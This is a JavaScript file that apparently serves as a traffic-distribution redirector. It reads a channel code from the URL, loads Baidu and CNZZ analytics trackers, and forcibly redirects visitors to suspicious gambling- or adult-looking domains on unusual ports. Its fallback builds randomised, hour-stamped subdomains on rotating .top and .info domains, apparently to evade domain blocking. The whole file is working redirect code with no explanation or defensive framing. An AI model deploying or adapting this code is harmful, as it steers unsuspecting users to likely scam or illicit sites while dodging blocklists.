const queryString = window.location.search;
let lastChar = queryString.length;
String0=queryString.substring(1, lastChar);



function loadBaiduAnalytics(analysiscode) {
    var _hmt = _hmt || [];
    (function() {
      var hm = document.createElement("script");
      hm.src = "https://hm.baidu.com/hm.js?"+analysiscode;
      var s = document.getElementsByTagName("script")[0]; 
      s.parentNode.insertBefore(hm, s);
    })();
}

function loadBaiduAnalyticscnzz(analysiscode) {
    var _czc = _czc || [];
    (function () {
    	var um = document.createElement("script");
    	um.src = "https://v1.cnzz.com/z.js?id="+analysiscode+"&async=1";
    	console.log(um.src)
    	var s = document.getElementsByTagName("script")[0];
    	s.parentNode.insertBefore(um, s);
    })();
}
function checkURLAndExecute() {
  
if (String0 === "ZNPTM372") {         loadBaiduAnalyticscnzz('1281446351');     }
/*if (String0 === "AX725XRP") {         loadBaiduAnalyticscnzz('1281394671');     }*/
/*if (String0 === "MW5RFDXM") {         loadBaiduAnalyticscnzz('1281394671');     }*/
/*if (String0 === "Z4GP274S") {         loadBaiduAnalyticscnzz('1281394671');     }*/
/*if (String0 === "SG66EA2G") {         loadBaiduAnalyticscnzz('1281394671');     }*/
/*if (String0 === "AU2WS5F2") {         loadBaiduAnalyticscnzz('1281394671');     }*/
/*if (String0 === "F963ZEHV") {         loadBaiduAnalyticscnzz('1281394671');     }*/
    
}

checkURLAndExecute();


if (["QWJQWQ"].includes(String0)){
    newurls='https://rmsxpicvc.44631.poker:23003/1_dnrw'
    // window.location.replace(newurls);  

}else if(["R2TFMA3G-"].includes(String0)){

    newurls='https://q4gagsdagrbhon.glsje867139.vip:31201/dp1/xg.htm?xg007'
    window.location.replace(newurls);    

}else if(["2MV8XTGA"].includes(String0)){

newurls='https://khjsxc.mo9238.mom:39002/1_md1/nice.htm?PUTPQM2N'
window.location.replace(newurls);

}else if(["7XH6RBCX"].includes(String0)){
newurls='https://wskn8zjc.yjlsc2692964.vip:39002/1_md1/bcios/nice.htm?'+String0
window.location.replace(newurls);    

}
else{
const channelMap = {
    'GVVFUAGP': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
    'V9ZGXMDE': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
     'YSUWWFMP': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
     '3YVGWKG3': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
     'YQQKWMUA': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
    
    
};
if (channelMap[String0]) {
    const { proba__, functionParam } = channelMap[String0];
    loadBaiduAnalytics(functionParam);
}




function stripMultiple(str, chars) {
    let regex = new RegExp(`^[${chars}]+|[${chars}]+$`, 'g');
    return str.replace(regex, '');
}

var String0 = stripMultiple(String0, '/');
var String0 = stripMultiple(String0, '=');
console.log(String0);



let domainlist1=[
'v9i1ov3193658.top',
'v9i1ov419264.top',
'v9i1ov3192477.info',
                ];
let domainlist2=[];

let defaulturl=domainlist1[0];
let start_strhost='https://';
let end_strhost=':57009/1_91tv/dp1/index.html';
let targeturl=start_strhost+'default00012c.'+defaulturl+end_strhost;




let ranstr=["a1b2c3d4", "9z8y7x6w", "k5m2p9r1", "0v4n7t2s", "b8d6f4g2", "q1w2e3r4", "5j6k7l8m", "z0x9c8v7", "p4o3i2u1", "m6n5b4v3", "a7s8d9f0", "l1k2j3h4"];




function getstr0001203(list = []) {
if (list.length > 0) {
    let index = Math.floor(Math.random() * list.length);
    return list[index];
} else {
    return defaulturl;
}
}


    try{

    let date00 = new Date().toISOString().slice(0, 13).replace(/[-T:]/g, '0');
    targeturl=`${start_strhost}${getstr0001203(ranstr)}${date00}${Math.floor(Math.random()*10)}c.${getstr0001203(domainlist1)}${end_strhost}`
    
}
catch(e) {
    console.log(e.message)

}



if (typeof String0 === "undefined") {
    var String0 = "kzb001";
}

let channelCodeo = 'kzb001';
try {
    if (String0 && typeof String0 === 'string') {
        if (String0.includes('channel')) {
            const parts = String0.split('=');
            if (parts.length > 1) {
                const value = parts[1].trim();
                channelCodeo = value || 'kzb001';
            }
        } else {
            channelCodeo = String0;
        }
    }
} catch (error) {
    console.error('Error processing channel code:', error);
    channelCodeo = 'kzb001';
}

url_send = targeturl + '?channelCode=' + encodeURIComponent(channelCodeo);
console.log(url_send);

window.location = url_send;



}
